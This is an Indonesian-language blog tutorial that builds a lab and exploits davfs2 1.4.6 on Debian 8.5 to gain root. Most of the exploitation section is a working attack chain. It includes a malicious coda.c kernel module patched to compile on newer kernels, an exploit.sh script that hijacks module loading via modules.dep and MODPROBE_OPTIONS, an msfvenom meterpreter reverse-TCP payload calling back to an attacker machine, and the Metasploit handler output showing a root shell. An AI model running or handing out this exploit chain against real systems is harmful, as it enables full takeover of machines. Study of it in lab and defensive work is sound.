Eskalasi Hak Akses Melalui DAVFS2

30 November 2016 by Harry Adinanta . 0 Comment

Daftar Isi:

  1. Latar Belakang
  2. Mempersiapkan Laboratorium
  3. Install dan mengkonfigurasi WebDav server
  4. Install dan mengkonfigurasi DAVFS2
  5. Mendeteksi kerentanan DAVFS2
  6. Mengeksploitasi Kerentanan DAVFS2
  7. Selanjutnya

Latar Belakang

DAVFS2 adalah program yang digunakan untuk mengakses Web Distributed Authoring and Versioning atau biasa disebut WebDAV. Dengan DAVFS2, kita dapat mounting web resources seperti layaknya mounting Unix/Linux resource lainnya. Program ini bisa diunduh di davfs2 project

Mempersiapkan Laboratorium

Sebelum kita membahas bagaimana mendeteksi dan kemudian mengekploitasi kerentanan DAVFS2, kita akan terlebih dahulu mempersiapkan system yang akan digunakan untuk percobaan ini. Perlu diketahui bahwa kombinasi system yang saya jabarkan dalam artikel ini bukanlah kombinasi yang mutlak untuk dapat mengexploitasi DAVFS2 namun disarankan menggunakan distribusi berbasis debian karena kode exploit yang tersedia di exploit-db menggunakan module CODA yang tidak berjalan secara otomatis di distribusi ini. Berikut langkah yang diperlukan untuk mempersiapkan laboratorium

Install dan mengkonfigurasi WebDav server

Dalam laboratorium ini, kita akan menggunakan Ubuntu 16.04 desktop sebagai webdav server. Module webdav sudah tersedia secara default di ubuntu dan hanya perlu diaktifkan dan kemudian dikonfigurasi. Lakukan langkah-langkah berikut:

a. Aktifkan webdav dengan perintah berikut

sudo a2enmod dav_fs

b. Restart apache dan pastikan module dav_module dan dav_fs telah berjalan dengan baik

sudo service apache2 restart
sudo apachectl -M

/* Module yang dibutuhkan akan muncul seperti

dav_module (shared)
dav_fs_module (shared) 

*/

c. Buat direktori yang akan digunakan oleh webdav dan lock file terkait dan kemudian ganti owner direktori tersebut ke akun www-data agar apache2 dapat menulis dan membaca ke direktori tersebut

sudo mkdir /var/www/html/webdav
sudo mkdir /var/www/lock
sudo chown www-data:www-data /var/www/html/webdav /var/www/lock

d. Menerapkan authentikasi password untuk melindungi webdav. Terdapat beberapa metode authentikasi password yang tersedia yaitu Basic Authentication dan Digest Authentication. Pemilihan metode authentikasi didasari oleh kompatibilitas client yang akan menggunakan webdav. Berikut jenis client yang dapat menggunakan salah satu metode yang berjalan di protokol HTTP dan HTTPS

Jenis Authentikasi HTTP HTTPS
Basic Mac, Linux Windows,Mac, Linux
Digest Windows,Mac, Linux Windows,Mac, Linux

Dalam simulasi ini kita akan menggunakan metode basic password authentication karena sederhana dan kompatibel dengan debian yang menjadi target eskalasi hak akses yang kita bahas.

Untuk menggunakan metode basic password, buat file yang menyimpan user webdav berikut dengan password hashnya.

sudo htpasswd -c /etc/apache2/.htpasswd webdav-user

pastikan file berhasil dibuat dengan membaca isi file tersebut

adinanta@ubuntu:~$ cat /etc/apache2/.htpasswd 
webdav-user:$apr1$P8JRXw.R$qi/EPtlvld324h17Ongox.

setelah itu, ganti owner file .htpasswd ke www-data dan memastikan file tersebut hanya boleh dibaca dan diedit oleh www-data

sudo chown www-data:www-data /etc/apache2/.htpasswd
sudo chmod 640 /etc/apache2/.htpasswd

e. Mengkonfigurasi Virtual Host dengan membuat file konfigurasi di /etc/apache2/site-available/webdav.conf

sudo nano /etc/apache2/sites-available/webdav.conf

dengan isi berikut ini

DavLockDB /var/www/lock/DavLock

<VirtualHost *:80>

	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/html/webdav
	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined
	
	<Directory /var/www/html/webdav>
	Options Indexes MultiViews
	AllowOverride None
	Order allow,deny
	allow from all
	</Directory>

</VirtualHost>

	Alias /webdav /var/www/html/webdav

<Location /webdav>
	DAV On
        AuthType Basic
        AuthName "webdav"
        AuthUserFile /etc/apache2/.htpasswd
        Require valid-user
</Location>

kemudian restart apache dengan perintah reload

sudo service apache2 reload

f. Lakukan testing dengan mengakses webdav melalui browser dan mengetik http://ip-server/webdav dan seharusnya akan muncul dialog box password authentication seperti dibawah ini

alt text

Masukan akun webdav-user berikut dengan password yang kita buat sebelumnya dan apabila isi direktory webdav muncul maka konfigurasi webdav server berhasil.

Install dan mengkonfigurasi DAVFS2

DAVFS2 merupakan opensource webdav client untuk linux yang tersedia di http://savannah.nongnu.org/projects/davfs2. Kerentanan DAVFS2 yang dapat dimanfaatkan untuk meningkatkan hak akses ada pada versi 1.4.6 seperti yang diungkap oleh Lorenzo Cantoni di exploit-db.

Untuk mensimulasikan proses peningkatan hak akses ini, kita akan mengcompile dan menginstal DAVFS2 versi 1.4.6 di Sistem Operasi Debian 8.5. Setelah DAVFS2 terinstall dan berhasil mount dan mengakses webdav server di Sistem Operasi Ubuntu diatas sebagai user biasa (akun non-root), maka kita akan mencoba mengeksploitasi kerentanan yang telah ditemukan untuk mendapatkan hak akses sebagai root.

Ikuti langkah berikut untuk mengcompile dan menginstall DAFVS2 di Debian 8.5

a. Login ke Debian OS, kemudian “su -” sebagai root dan install development tools agar kita bisa mencompile dan menginstall DAFS2

adinanta@skywalker:~$ su -
Password: 
root@skywalker:~# apt-get install build-essential

b. Download DAVFS2 versi 1.4.6 dari download.savannah.gnu.org dan kemudian extract tar.gz

root@skywalker:~# wget http://download.savannah.gnu.org/releases/davfs2/davfs2-1.4.6.tar.gz -O davfs2-1.4.6.tar.gz

root@skywalker:~# tar -xzf davfs2-1.4.6.tar.gz

c. DAVFS2 menggunakan library neon untuk berkomunikasi dengan server. Untuk itu, kita harus terlebih dahulu menginstall library tersebut berikut dengan header files nya agar compilation dapat berkerja dengan baik

root@skywalker:~# wget http://www.webdav.org/neon/neon-0.29.6.tar.gz -O neon-0.29.6.tar.gz
root@skywalker:~# tar -xzf neon-0.29.6.tar.gz
root@skywalker:~/neon-0.29.6# ./configure
root@skywalker:~/neon-0.29.6# make
root@skywalker:~/neon-0.29.6# make install

d. Sebelum melakukan compilation, kita terlebih dahulu membuat configuration file di folder yang menyimpan source code davfs2-1.4.6

root@skywalker:~/davfs2-1.4.6# ./configure
root@skywalker:~/davfs2-1.4.6# make
root@skywalker:~/davfs2-1.4.6# make install

e. Setelah DAVFS2 berhasil terinstall, pastikan versi yang berjalan adalah versi 1.4.6 dengan mengeksekusi mount.davfs -V

root@skywalker:~/davfs2-1.4.6# mount.davfs -V
davfs2 1.4.6  <http://savannah.nongnu.org/projects/davfs2>

This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

root@skywalker:~/davfs2-1.4.6# 

f. Membuat user dan group davfs2

root@skywalker:~# useradd -m -d /var/cache/davfs2 davfs2

g. Pastikan user root dapat mount webdav yang tersedia di ubuntu sebelumnya. Alamat webdav yang telah dikonfigurasi sebelumnya di ubuntu saya adalah http://172.16.65.152/webdav. Sesuaikan dengan alamat IP ubuntu anda yang telah dikonfigurasi dengan webdav server

root@skywalker:~# mkdir webdav
root@skywalker:~# mount -t davfs http://172.16.65.152/webdav webdav
Please enter the username to authenticate with server
http://172.16.65.152/webdav or hit enter for none.
  	 Username: webdav-user
Please enter the password to authenticate user webdav-user with server
http://172.16.65.152/webdav or hit enter for none.
  	 Password:  
root@skywalker:~# 
root@skywalker:~# ls webdav/
lost+found  test.txt
root@skywalker:~# cat webdav/test.txt 
percobaan
root@skywalker:~# 

h. Setelah itu, kita pastikan akun biasa yang ada di debian bisa mount ke webdav server dengan memasukan akun tersebut ke dalam group davfs2 dan membuat mount point di file /etc/fstab.

root@skywalker:~# usermod -a -G davfs2 adinanta
root@skywalker:~# getent group davfs2
davfs2:x:1001:adinanta
root@skywalker:~# 

membuat mount point di /etc/fstab

root@skywalker:~# nano /etc/fstab

# tambahkan davfs mount point di akhir file seperti berikut ini

# /etc/fstab: static file system information.
#
# Use 'blkid' to print the universally unique identifier for a
# device; this may be used with UUID= as a more robust way to name devices
# that works even if disks are added and removed. See fstab(5).
#
# <file system> <mount point>   <type>  <options>       <dump>  <pass>
# / was on /dev/sda1 during installation
UUID=3801ef95-43ef-4649-bdb8-72e614df6a6c /               ext4    errors=remount-ro 0       1
# swap was on /dev/sda5 during installation
UUID=e19aa00d-b1f9-4a9f-84cb-1660ceaecb25 none            swap    sw              0       0
/dev/sr0        /media/cdrom0   udf,iso9660 user,noauto     0       0
http://172.16.65.152/webdav     /media/webdav   davfs   rw,users,noauto 0       0

i. Restart debian dan kemudian login sebagai akun biasa dan kemudian mount webdav untuk memastikan davfs2 berjalan dengan baik.

adinanta@skywalker:~$ mount /media/webdav/
Please enter the username to authenticate with server
http://172.16.65.152/webdav or hit enter for none.
  Username: webdav-user
Please enter the password to authenticate user webdav-user with server
http://172.16.65.152/webdav or hit enter for none.
  Password:  
adinanta@skywalker:~$ ls /media/webdav/
lost+found  percobaan.txt  test.txt
adinanta@skywalker:~$ 

Mendeteksi kerentanan DAVFS2

Sebelum eksploitasi dilakukan, tentu kita harus terlebih dahulu melakukan validasi apakah davfs2 yang terinstall di mesin target (yaitu debian 8.5) menggunakan versi yang rentan. Berdasarkan Informasi dari exploit-db yang ada pada tautan berikut exploit-db, davfs2 versi 1.4.6 dan 1.4.7 memiliki kerentanan yang dapat dimanfaatkan untuk meninggikan atau mengeskalasi hak akses. Untuk memastikan target menggunakan versi yang rentan, kita dapat mengeksekusi mount.davfs dengan switch -V

adinanta@skywalker:~$ /sbin/mount.davfs -V
davfs2 1.4.6  <http://savannah.nongnu.org/projects/davfs2>

This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
adinanta@skywalker:~$ 

Dari hasil diatas, kita bisa memastikan bahwa target menggunakan versi davfs yang rentan

Mengeksploitasi Kerentanan DAVFS2

Waktunya kita mencoba mengeksoloitasi kerentanan ini di target kita yaitu debian 8.5 . Namun sebelum itu, perlu diingat bahwa membaca dan memahami kode exsploitasi yang telah tersedia akan meningkatkan kemungkinan berhasilnya proses eksploitasi. Kode exsploitasi yang ada di exploit-db sudah agak lama sehingga perlu dilakukan perbaikan minor agar exploitasi dapat berjalan dengan baik di debian 8.

Memahami cara kerja kode eksploitasi yang kita peroleh dari pihak lain sangat penting bukan hanya meningkatkan peluang keberhasilan eksploitasi tapi juga memastikan kode tersebut tidak mengeksekusi perintah yang tidak kita inginkan

Berikut ini beberapa kendala apabila kode exksploitasi tidak disesusaikan:

i.Proses compile terhadap module coda.c tidak berhasil karena arguments yang diberikan ke function call_usermodehelper_setup yang ada di file coda.c tidak lengkap. Hal ini terjadi karena linux kernel ver 3 telah mengupdate function tersebut untuk menerima 3 tambahan arguments. Berikut snippet dari error code yang muncul saat meng-compile module coda.c

adinanta@skywalker:~/exploit$ make
make -C /lib/modules/3.16.0-4-686-pae/build M=/home/adinanta/exploit modules
make[1]: Entering directory '/usr/src/linux-headers-3.16.0-4-686-pae'
Makefile:10: *** mixed implicit and normal rules: deprecated syntax
make[1]: Entering directory `/usr/src/linux-headers-3.16.0-4-686-pae'
  CC [M]  /home/adinanta/exploit/coda.o
/home/adinanta/exploit/coda.c: In function ‘init_module’:
/home/adinanta/exploit/coda.c:10:5: error: too few arguments to function ‘call_usermodehelper_setup’
     sub_info = call_usermodehelper_setup(argv[0], argv, envp, GFP_ATOMIC);

ii.Perintah depmod yang bertugas untuk membuat list dependancy module tidak dipanggil dengan full path oleh file exploit.sh sehingga proses tersebut tidak berjalan.

depmod -b $PWD
echo "#######################################"
echo "Specify the user-mode ELF which you whish to copy in /tmp/rootprog that will be run as root. Default value is $PWD/rootprog"
echo "WARNING !!!!!!!! YOU HAVE ONLY 1 SHOT !!!!! unmounting webdav partitions doesn't unload the coda.ko module"
echo "#######################################"
read ROOTPROG

iii.Untuk menghindari kendala diatas, kita akan melakukan sedikit perbaikan terhadap function call di file coda.c dan juga menambahkan full path perintah depmod di file exploit.sh.

Sesuai dengan petunjuk yang telah dipaparkan dalam exploit-db, kita akan melakukan langkah berikut ini untuk mengeksoloitasi davfs2 untuk meningkatkan hak akses:

1.Login ke target Sistem Operasi (OS) debian 8.5 sebagai akun biasa (non-root account)

2.Pastikan akun yang kita gunakan dapat melakukan mounting ke webdav server dengan memastikan bahwa akun tersebut sudah masuk ke dalam group davfs dan mount point telah didefinisikan di file /etc/fstab

adinanta@skywalker:~$ getent group davfs2
davfs2:x:1001:adinanta
adinanta@skywalker:~$ 
adinanta@skywalker:~$ cat /etc/fstab 
#----Informasi penting yang harus ada --

http://172.16.65.152/webdav	/media/webdav	davfs	rw,users,noauto	0	0

3.Compile coda module bayangan (tidak valid) yang dibuat untuk mengelabui davfs sehingga mengeksekusi module tersebut dan kemudian menjalankan program yang kita sisipkan.

3.a Membuat file coda.c dan jangan lupa untuk menambahan ” NULL, NULL, NULL” setelah GFP_ATOMIC karena function call_usermodhelper_setup membutuhkan tambahan arguments

adinanta@skywalker:~$ mkdir exploit
adinanta@skywalker:~$ cd exploit/
adinanta@skywalker:~/exploit$ nano coda.c
#include <linux/module.h>
#include <linux/kernel.h>

int init_module(void)
{
    struct subprocess_info *sub_info;
    char *argv[] = { "/tmp/rootprog", NULL, NULL };
    static char *envp[] = {"HOME=/tmp/","TERM=linux","PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL };

    sub_info = call_usermodehelper_setup( argv[0], argv, envp, GFP_ATOMIC, NULL, NULL, NULL);
        if (sub_info == NULL)
        {
        printk(KERN_INFO "call_usermodehelper_setup failed \n");
        return -ENOMEM;
        }
        else
        {
        printk(KERN_INFO "w00t!!!\n");
        call_usermodehelper_exec( sub_info, UMH_WAIT_PROC );
        }
    return 0;
}

void cleanup_module(void)
{
    printk(KERN_INFO "Exiting.\n");
}

3.b Membuat file Makefile untuk keperluan compile. Jangan lupa menggunakan TAB sebelum perintah “make -C ..” dan bukan space

adinanta@skywalker:~/exploit$ nano Makefile

obj-m += coda.o

all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

3.c Compile coda.c module

adinanta@skywalker:~/exploit$ make
make -C /lib/modules/3.16.0-4-686-pae/build M=/home/adinanta/exploit modules
make[1]: Entering directory '/usr/src/linux-headers-3.16.0-4-686-pae'
Makefile:10: *** mixed implicit and normal rules: deprecated syntax
make[1]: Entering directory `/usr/src/linux-headers-3.16.0-4-686-pae'
  CC [M]  /home/adinanta/exploit/coda.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/adinanta/exploit/coda.mod.o
  LD [M]  /home/adinanta/exploit/coda.ko
make[1]: Leaving directory '/usr/src/linux-headers-3.16.0-4-686-pae'
adinanta@skywalker:~/exploit$

4.membuat file exploit.sh dan jangan lupa untuk menggunakan full path saat mengeksekusi depmod

adinanta@skywalker:~/exploit$ nano exploit.sh
#!/bin/bash

KERNELV=`uname -r`
echo "#######################################"
echo "Specify the full path of the kernel module which you want to load"
echo "Leave empty if you wish to compile it now"
echo "Understand that you need kernel headers, make and gcc for successful compilation"
echo "#######################################"
read EXPLOITMODPATH

if [ -z $EXPLOITMODPATH ]; then
make
EXPLOITMODPATH=$PWD/coda.ko
fi

echo "#######################################"
echo "Copying the modules in use for the running kernel in the local directory"
echo "#######################################"
mkdir -p lib/modules
cp -R /lib/modules/`uname -r` lib/modules

echo "#######################################"
echo "Copying coda.ko module"
echo "#######################################"
cp $EXPLOITMODPATH $PWD/lib/modules/$KERNELV/kernel/fs/coda

echo "#######################################"
echo "Setting the 'modules.dep' and running depmod"
echo "#######################################"

echo -n $PWD | sed 's/\//\\\//g' > /tmp/escapedpwd
ESCAPEDPWD=`cat /tmp/escapedpwd`

OLD_CODA_PATH="kernel\/fs\/coda\/coda.ko"
NEW_CODA_PATH="$ESCAPEDPWD\/lib\/modules\/$KERNELV\/kernel\/fs\/coda\/coda.ko"
sed 's/'$OLD_CODA_PATH'/'$NEW_CODA_PATH'/g' $PWD/lib/modules/$KERNELV/modules.dep  > /tmp/new_modules.dep
cat /tmp/new_modules.dep | sed 's/\\//g' > /tmp/modules.dep.ok
cp /tmp/modules.dep.ok $PWD/lib/modules/$KERNELV/modules.dep
/sbin/depmod -b $PWD

echo "#######################################"
echo "Specify the user-mode ELF which you whish to copy in /tmp/rootprog that will be run as root. Default value is $PWD/rootprog"
echo "WARNING !!!!!!!! YOU HAVE ONLY 1 SHOT !!!!! unmounting webdav partitions doesn't unload the coda.ko module"
echo "#######################################"
read ROOTPROG
if [ -z $ROOTPROG ]; then
ROOTPROG=$PWD/rootprog
fi
cp $ROOTPROG /tmp/rootprog

echo "#######################################"
echo "Setting MODPROBE_OPTIONS variable"
echo "#######################################"
export MODPROBE_OPTIONS="-d $PWD"

exec /bin/bash -i

5.Membuat program yang akan kita sisipkan untuk dieksekusi oleh davfs2 sebagai root. Ini adalah tujuan utama kita dalam mengeksploitasi kerentanan ini. Untuk itu, kita akan membuat program metasploit reverse shell meterpreter dalam format ELF menggunakan msfvenom di kali linux. Program ini akan dieksekusi oleh davfs yang kemudian memberikan shell ke kali linux kita (attacking machine)

root@kali:~# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=172.16.65.150 LPORT=443 -f elf >rootprog
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 71 bytes

root@kali:~# 

6.Jangan lupa untuk mengaktifkan metasploit di kali linux untuk menerima koneksi balik dari target kita yaitu debian 8.5

msf > use exploit/multi/handler 
msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 172.16.65.150
lhost => 172.16.65.150
msf exploit(handler) > set lport 443
lport => 443
msf exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   DebugOptions  0                no        Debugging options for POSIX meterpreter
   LHOST         172.16.65.150    yes       The listen address
   LPORT         443              yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(handler) > run

[*] Started reverse TCP handler on 172.16.65.150:443 
[*] Starting the payload handler...

7.Copy program yang baru saja kita buat di kali linux ke sistem target yaitu debian 8.5 kita

root@kali:~# scp rootprog adinanta@172.16.65.154:/home/adinanta/rootprog/exploit
adinanta@172.16.65.154's password: 
rootprog                                      100%  155     0.2KB/s   00:00    
root@kali:~# 

8.Setelah ter-copy ke sistem target, berikan executable permission ke program tersebut

adinanta@skywalker:~/exploit$ chmod +x rootprog 
adinanta@skywalker:~/exploit$ 

9.Jalankan

adinanta@skywalker:~/exploit$ ./exploit.sh 
#######################################
Specify the full path of the kernel module which you want to load
Leave empty if you wish to compile it now
Understand that you need kernel headers, make and gcc for successful compilation
#######################################
/home/adinanta/exploit/coda.ko
#######################################
Copying the modules in use for the running kernel in the local directory
#######################################
#######################################
Copying coda.ko module
#######################################
#######################################
Setting the 'modules.dep' and running depmod
#######################################
#######################################
Specify the user-mode ELF which you whish to copy in /tmp/rootprog that will be run as root. Default value is /home/adinanta/exploit/rootprog
WARNING !!!!!!!! YOU HAVE ONLY 1 SHOT !!!!! unmounting webdav partitions doesn't unload the coda.ko module
#######################################

#######################################
Setting MODPROBE_OPTIONS variable
#######################################
adinanta@skywalker:~/exploit$ 

10.ubah file davfs2.conf di folder .davfs2 yang berada di home folder user yang kita gunakan agar davfs2 menggunakan kernel_fs coda

adinanta@skywalker:~/exploit$ nano ~/.davfs2/davfs2.conf
# davfs2 configuration file 2009-04-12
# version 9
# ------------------------------------

# Copyright (C) 2006, 2007, 2008, 2009 Werner Baumann

# Copying and distribution of this file, with or without modification, are
# permitted in any medium without royalty provided the copyright notice
# and this notice are preserved.


# Please read the davfs2.conf (5) man page for a description of the
# configuration options and syntax rules.


# Available options and default values
# ====================================

# General Options
# ---------------

# dav_user        davfs2            # system wide config file only
# dav_group       davfs2            # system wide config file only
# ignore_home                       # system wide config file only
kernel_fs       coda
# buf_size        16                 # KiByte

11.Pastikan rootprog berhasil dicopy oleh exploit.sh script ke folder /tmp

adinanta@skywalker:~/exploit$ ls -l /tmp/
total 840
-rw-r--r-- 1 adinanta adinanta     25 Aug  8 07:48 escapedpwd
-rw-r--r-- 1 adinanta adinanta 407965 Aug  8 07:48 modules.dep.ok
-rw-r--r-- 1 adinanta adinanta 407965 Aug  8 07:48 new_modules.dep
drwx------ 2 root     root       4096 Aug  8 07:42 pulse-PKdhtXMmr18n
-rwxr-xr-x 1 adinanta adinanta    155 Aug  8 07:48 rootprog

12.Waktunya menikmati root akses ke mesin target :). Mount webdav volume berikut dengan username dan password untuk tersambung ke webdav dan kemudian tunggu meterpreter shell milik debian 8.5 dengan hak akses root di kali linux kita.

adinanta@skywalker:~/exploit$ mount /media/webdav/
Please enter the username to authenticate with server
http://172.16.65.152/webdav or hit enter for none.
  Username: webdav-user
Please enter the password to authenticate user webdav-user with server
http://172.16.65.152/webdav or hit enter for none.
  Password:  

13.Boom!!, meterpreter berhasil diterima oleh kali linux kita

[*] Started reverse TCP handler on 172.16.65.150:443 
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 172.16.65.154
[*] Meterpreter session 1 opened (172.16.65.150:443 -> 172.16.65.154:51929) at 2016-08-08 07:49:55 +0700

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0, suid=0, sgid=0
meterpreter > sysinfo
Computer     : skywalker
OS           : Linux skywalker 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt25-2+deb8u3 (2016-07-02) (i686)
Architecture : i686
Meterpreter  : x86/linux
meterpreter > shell
Process 1539 created.
Channel 1 created.
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# 

Selanjutnya

Selamat mencoba dan apabila memungkinkan gunakan distribusi LINUX lainnya untuk melihat apakah kode exploitasi yang tersedia bisa berjalan dengan baik.